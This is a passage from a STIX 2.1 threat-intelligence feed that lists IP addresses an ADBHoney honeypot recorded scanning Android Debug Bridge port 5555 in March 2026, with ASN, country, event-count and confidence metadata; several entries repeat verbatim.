        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.82.76.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=43; ports=5555; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--fbedbd12-88ff-416c-83bc-c4ae61ea5502",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=36680; asn_org=Netiface LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-02T02:53:18.000Z | last_seen=2026-03-02T03:04:40.817Z | ports=5555 | cc=US | asn=36680 | org=Netiface LLC",
      "id": "indicator--364910b6-a5da-4b1a-a2a4-b56aa0a1c649",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.182.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-02T02:53:18.000Z",
          "last_seen": "2026-03-02T03:04:40.817Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "36680"
          ],
          "org": [
            "Netiface LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=247; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=240 | first_seen=2026-03-19T15:30:15.000Z | last_seen=2026-03-19T15:50:49.830Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--08b1415a-9b43-448a-b793-9f2998843b87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 240,
          "first_seen": "2026-03-19T15:30:15.000Z",
          "last_seen": "2026-03-19T15:50:49.830Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=1057 | first_seen=2026-03-03T18:51:30.000Z | last_seen=2026-03-31T16:05:38.080Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--30a8200c-53fb-4fb1-9eb7-8a4fe58bd53b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 1057,
          "first_seen": "2026-03-03T18:51:30.000Z",
          "last_seen": "2026-03-31T16:05:38.080Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--03051c73-3e09-404b-a8b4-cf3e80bb9cfc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.82.76.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=43; ports=5555; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--fbedbd12-88ff-416c-83bc-c4ae61ea5502",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T03:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--a895c44a-771a-433a-9e4a-ded377a5971f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:00:07.000Z",
      "valid_until": "2026-04-02T03:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T03:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--a895c44a-771a-433a-9e4a-ded377a5971f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:00:07.000Z",
      "valid_until": "2026-04-02T03:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--56f863a3-aec5-497e-994a-7e53499a0c73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.68.145.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:00:13.000Z",
      "valid_until": "2026-04-02T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=GB; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--5d258973-af2a-4d2e-a25d-6f859c551c86",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '35.203.211.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:00:13.000Z",
      "valid_until": "2026-04-02T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--56f863a3-aec5-497e-994a-7e53499a0c73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.68.145.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:00:13.000Z",
      "valid_until": "2026-04-02T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=GB; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--5d258973-af2a-4d2e-a25d-6f859c551c86",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '35.203.211.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:00:13.000Z",
      "valid_until": "2026-04-02T06:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T07:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=44; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3921 | first_seen=2026-03-02T01:43:42.000Z | last_seen=2026-03-28T15:51:07.755Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:00:11.000Z",
      "valid_until": "2026-04-02T07:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3921,
          "first_seen": "2026-03-02T01:43:42.000Z",
          "last_seen": "2026-03-28T15:51:07.755Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T07:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=44; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3921 | first_seen=2026-03-02T01:43:42.000Z | last_seen=2026-03-28T15:51:07.755Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:00:11.000Z",
      "valid_until": "2026-04-02T07:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3921,
          "first_seen": "2026-03-02T01:43:42.000Z",
          "last_seen": "2026-03-28T15:51:07.755Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T08:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SE; asn=42237; asn_org=w1n ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=56 | first_seen=2026-03-03T20:32:23.000Z | last_seen=2026-03-30T08:54:22.241Z | ports=5555 | cc=SE | asn=42237 | org=w1n ltd",
      "id": "indicator--f15433ca-ea71-4e3a-a813-05671a711164",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.246.128.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:00:11.000Z",
      "valid_until": "2026-04-02T08:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 56,
          "first_seen": "2026-03-03T20:32:23.000Z",
